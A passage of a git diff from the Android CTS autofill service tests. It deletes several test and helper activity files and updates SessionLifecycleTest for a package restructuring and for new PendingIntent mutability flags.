-                () -> new RegexValidator(null, Pattern.compile(".")));
-    }
-
-    @Test
-    public void unknownField() {
-        AutofillId unknownId = new AutofillId(42);
-
-        RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void singleFieldValid() {
-        AutofillId creditCardFieldId = new AutofillId(1);
-        RegexValidator validator = new RegexValidator(creditCardFieldId,
-                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void singleFieldInvalid() {
-        AutofillId id = new AutofillId(1);
-        RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("123a456");
-
-        // Regex has to match the whole value
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
deleted file mode 100644
index 43ce97a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.SaveInfo.FLAG_DELAY_SAVE;
-import static android.service.autofill.SaveInfo.FLAG_DONT_SAVE_ON_FINISH;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.InternalSanitizer;
-import android.service.autofill.Sanitizer;
-import android.service.autofill.SaveInfo;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class SaveInfoTest {
-
-    private final AutofillId mId = new AutofillId(42);
-    private final AutofillId[] mIdArray = { mId };
-    private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
-
-    @Test
-    public void testRequiredIdsBuilder_null() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, null));
-    }
-
-    @Test
-    public void testRequiredIdsBuilder_empty() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
-    }
-
-    @Test
-    public void testRequiredIdsBuilder_nullEntry() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                        new AutofillId[] { null }));
-    }
-
-    @Test
-    public void testBuild_noOptionalIds() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC);
-        assertThrows(IllegalStateException.class, ()-> builder.build());
-    }
-
-    @Test
-    public void testSetOptionalIds_null() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
-    }
-
-    @Test
-    public void testSetOptional_empty() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.setOptionalIds(new AutofillId[] {}));
-    }
-
-    @Test
-    public void testSetOptional_nullEntry() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.setOptionalIds(new AutofillId[] { null }));
-    }
-
-    @Test
-    public void testAddSanitizer_illegalArgs() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        // Null sanitizer
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(null, mId));
-        // Invalid sanitizer class
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mock(Sanitizer.class), mId));
-        // Null ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
-        // Empty ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
-        // Repeated ids
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
-    }
-
-    @Test
-    public void testAddSanitizer_sameIdOnDifferentCalls() {
-        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
-                mIdArray);
-        builder.addSanitizer(mSanitizer, mId);
-        assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
-    }
-
-    @Test
-    public void testBuild_invalid() {
-        // No nothing
-        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
-                .build());
-        // Flag only, but invalid flag
-        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
-                .setFlags(FLAG_DONT_SAVE_ON_FINISH).build());
-    }
-
-    @Test
-    public void testBuild_valid() {
-        // Required ids
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, mIdArray)
-                .build()).isNotNull();
-
-        // Optional ids
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setOptionalIds(mIdArray)
-                .build()).isNotNull();
-
-        // Delayed save
-        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setFlags(FLAG_DELAY_SAVE)
-                .build()).isNotNull();
-    }
-
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
deleted file mode 100644
index 2aa60c9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.widget.TextView;
-
-/**
- * Activity that is used to test restored mechanism will work while running below steps:
- * 1. Taps span on the save UI to start the ViewActionActivity.
- * 2. Launches the SecondActivity and immediately finish the ViewActionActivity.
- * 3. Presses back key on the SecondActivity.
- * The expected that the save UI should have been restored.
- */
-public class SecondActivity extends AbstractAutoFillActivity {
-
-    private static SecondActivity sInstance;
-
-    private static final String TAG = "SecondActivity";
-    static final String ID_WELCOME = "welcome";
-    static final String DEFAULT_MESSAGE = "Welcome second activity";
-
-    public SecondActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        TextView welcome = (TextView) findViewById(R.id.welcome);
-        welcome.setText(DEFAULT_MESSAGE);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(DEFAULT_MESSAGE);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
deleted file mode 100644
index 8dc8dd9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Process;
-import android.util.Log;
-
-/**
- * A {@link BroadcastReceiver} that kills its process.
- */
-public class SelfDestructReceiver extends BroadcastReceiver {
-
-    private static final String TAG = "SelfDestructReceiver";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i(TAG, "Goodbye, cruel world!");
-        Process.killProcess(Process.myPid());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java
deleted file mode 100644
index 2841f78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ServiceDisabledForSureTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.disableAutofillService;
-import static android.autofillservice.cts.Helper.enableAutofillService;
-import static android.autofillservice.cts.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-/**
- * Test case that guarantee the service is disabled before the activity launches.
- */
-@AppModeFull(reason = "Service-specific test")
-public class ServiceDisabledForSureTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
-
-    private static final String TAG = "ServiceDisabledForSureTest";
-
-    private OnCreateServiceStatusVerifierActivity mActivity;
-
-    @BeforeClass
-    public static void resetService() {
-        disableAutofillService(sContext);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
-                OnCreateServiceStatusVerifierActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Override
-    protected void prepareServicePreTest() {
-        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
-        // but to guarantee the test finishes in the proper state
-        Log.v(TAG, "prepareServicePreTest(): not doing anything");
-        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isFalse());
-    }
-
-    @Test
-    public void testIsAutofillEnabled() throws Exception {
-        mActivity.assertServiceStatusOnCreate(false);
-
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, false);
-
-        enableAutofillService(mContext, SERVICE_NAME);
-        Helper.assertAutofillEnabled(afm, true);
-
-        disableAutofillService(mContext);
-        Helper.assertAutofillEnabled(afm, false);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java
deleted file mode 100644
index 60711d8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ServiceEnabledForSureTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.disableAutofillService;
-import static android.autofillservice.cts.Helper.enableAutofillService;
-import static android.autofillservice.cts.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-/**
- * Test case that guarantee the service is enabled before the activity launches.
- */
-public class ServiceEnabledForSureTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
-
-    private static final String TAG = "ServiceEnabledForSureTest";
-
-    private OnCreateServiceStatusVerifierActivity mActivity;
-
-    @BeforeClass
-    public static void resetService() {
-        enableAutofillService(sContext, SERVICE_NAME);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
-                OnCreateServiceStatusVerifierActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Override
-    protected void prepareServicePreTest() {
-        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
-        // but to guarantee the test finishes in the proper state
-        Log.v(TAG, "prepareServicePreTest(): not doing anything");
-        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isTrue());
-    }
-
-    @Test
-    public void testIsAutofillEnabled() throws Exception {
-        mActivity.assertServiceStatusOnCreate(true);
-
-        final AutofillManager afm = mActivity.getAutofillManager();
-        Helper.assertAutofillEnabled(afm, true);
-
-        disableAutofillService(mContext);
-        Helper.assertAutofillEnabled(afm, false);
-
-        enableAutofillService(mContext, SERVICE_NAME);
-        Helper.assertAutofillEnabled(afm, true);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 8fb8fdf..e1f1295 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -16,17 +16,17 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.ID_LOGIN;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getDestroyedMarker;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getStartedMarker;
-import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
-import static android.autofillservice.cts.UiBot.LANDSCAPE;
-import static android.autofillservice.cts.UiBot.PORTRAIT;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getDestroyedMarker;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getStartedMarker;
+import static android.autofillservice.cts.activities.OutOfProcessLoginActivity.getStoppedMarker;
+import static android.autofillservice.cts.testcore.Helper.ID_LOGIN;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.UiBot.LANDSCAPE;
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
 
@@ -41,6 +41,16 @@
 import android.app.ActivityManager;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.EmptyActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.ManualAuthenticationActivity;
+import android.autofillservice.cts.activities.OutOfProcessLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentSender;
@@ -108,8 +118,9 @@
 
     @After
     public void finishLoginActivityOnAnotherProcess() throws Exception {
-        runShellCommand("am broadcast --receiver-foreground "
-                + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
+        runShellCommand(
+                "am broadcast --receiver-foreground -n android.autofillservice.cts/.testcore"
+                        + ".OutOfProcessLoginActivityFinisherReceiver");
         mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
 
         if (!OutOfProcessLoginActivity.hasInstance()) {
@@ -133,7 +144,7 @@
 
         // Kill activity that is in the background
         runShellCommand("am broadcast --receiver-foreground "
-                + "-n android.autofillservice.cts/.SelfDestructReceiver");
+                + "-n android.autofillservice.cts/.testcore.SelfDestructReceiver");
     }
 
     private void startAndWaitExternalActivity() throws Exception {
@@ -173,7 +184,7 @@
             // Create the authentication intent (launching a full screen activity)
             IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
                     new Intent(getContext(), ManualAuthenticationActivity.class),
-                    0).getIntentSender();
+                    PendingIntent.FLAG_MUTABLE).getIntentSender();
 
             // Prepare the authenticated response
             ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
@@ -284,7 +295,7 @@
         // Create the authentication intent (launching a full screen activity)
         IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
                 new Intent(getContext(), ManualAuthenticationActivity.class),
-                0).getIntentSender();
+                PendingIntent.FLAG_IMMUTABLE).getIntentSender();
 
         CannedFillResponse response = new CannedFillResponse.Builder()
                 .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
deleted file mode 100644
index 54f391b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.support.test.uiautomator.UiObject2;
-
-import com.android.compatibility.common.util.FeatureUtil;
-
-import org.junit.After;
-import org.junit.Test;
-
-@AppModeFull(reason = "Service-specific test")
-public class SettingsIntentTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<TrampolineForResultActivity> {
-
-    private static final int MY_REQUEST_CODE = 42;
-
-
-    protected TrampolineForResultActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<TrampolineForResultActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TrampolineForResultActivity>(
-                TrampolineForResultActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @After
-    public void killSettings() {
-        // Make sure there's no Settings activity left, as it could fail future tests.
-        if (FeatureUtil.isAutomotive()) {
-            runShellCommand("am force-stop com.android.car.settings");
-        } else {
-            runShellCommand("am force-stop com.android.settings");
-        }
-    }
-
-    @Test
-    public void testMultipleServicesShown() throws Exception {
-        disableService();
-
-        // Launches Settings.
-        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
-
-        // Asserts services are shown.
-        mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
-        mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
-        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
-
-        // Finishes and asserts result.
-        mUiBot.pressBack();
-        mActivity.assertResult(Activity.RESULT_CANCELED);
-    }
-
-    @Test
-    public void testWarningShown_userRejectsByTappingBack() throws Exception {
-        disableService();
-
-        // Launches Settings.
-        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
-
-        // Asserts services are shown.
-        final UiObject2 object = mUiBot
-                .assertShownByText(InstrumentedAutoFillService.sServiceLabel);
-        object.click();
-
-        // TODO(b/79615759): should assert that "autofill_confirmation_message" is shown, but that
-        // string belongs to Settings - we need to move it to frameworks/base first (and/or use
-        // a resource id, also on framework).
-        // So, for now, just asserts the service name is showing again (in the popup), and the other
-        // services are not showing (because the popup hides then).
-
-        final UiObject2 msgObj = mUiBot.assertShownById("android:id/message");
-        final String msg = msgObj.getText();
-        assertWithMessage("Wrong warning message").that(msg)
-                .contains(InstrumentedAutoFillService.sServiceLabel);
-
-        // NOTE: assertion below is fine because it looks for the full text, not a substring
-        mUiBot.assertNotShowingForSure(InstrumentedAutoFillService.sServiceLabel);
-        mUiBot.assertNotShowingForSure(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
-        mUiBot.assertNotShowingForSure(NoOpAutofillService.SERVICE_LABEL);
-        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
-
-        // Finishes and asserts result.
-        mUiBot.pressBack();
-        mActivity.assertResult(Activity.RESULT_CANCELED);
-    }
-
-    // TODO(b/79615759): add testWarningShown_userRejectsByTappingCancel() and
-    // testWarningShown_userAccepts() - these tests would require adding the strings and resource
-    // ids to frameworks/base
-
-    private Intent newSettingsIntent() {
-        return new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
-                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
-                .setData(Uri.parse("package:" + Helper.MY_PACKAGE));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
deleted file mode 100644
index 8142f3a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity that displays a "Finished login activity!" message after login.
- */
-public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleAfterLoginActivity";
-
-    static final String ID_AFTER_LOGIN = "after_login";
-
-    private static SimpleAfterLoginActivity sCurrentActivity;
-
-    public static SimpleAfterLoginActivity getCurrentActivity() {
-        return sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_after_login_activity);
-
-        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
-        sCurrentActivity = this;
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
-        sCurrentActivity = null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
deleted file mode 100644
index e14a6a4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity that displays a "Launch login activity!" message before login.
- */
-public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleBeforeLoginActivity";
-
-    static final String ID_BEFORE_LOGIN = "before_login";
-
-    private static SimpleBeforeLoginActivity sCurrentActivity;
-
-    public static SimpleBeforeLoginActivity getCurrentActivity() {
-        return sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_before_login_activity);
-
-        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
-        sCurrentActivity = this;
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
-        sCurrentActivity = null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
deleted file mode 100644
index 2666269..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-/**
- * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
- */
-public class SimpleSaveActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "SimpleSaveActivity";
-
-    public static final String ID_LABEL = "label";
-    public static final String ID_INPUT = "input";
-    public static final String ID_PASSWORD = "password";
-    public static final String ID_COMMIT = "commit";
-    public static final String TEXT_LABEL = "Label:";
-
-    private static SimpleSaveActivity sInstance;
-
-    TextView mLabel;
-    EditText mInput;
-    EditText mPassword;
-    Button mCancel;
-    Button mCommit;
-
-    private boolean mAutoCommit = true;
-    private boolean mClearFieldsOnSubmit = false;
-
-    public static SimpleSaveActivity getInstance() {
-        return sInstance;
-    }
-
-    public SimpleSaveActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
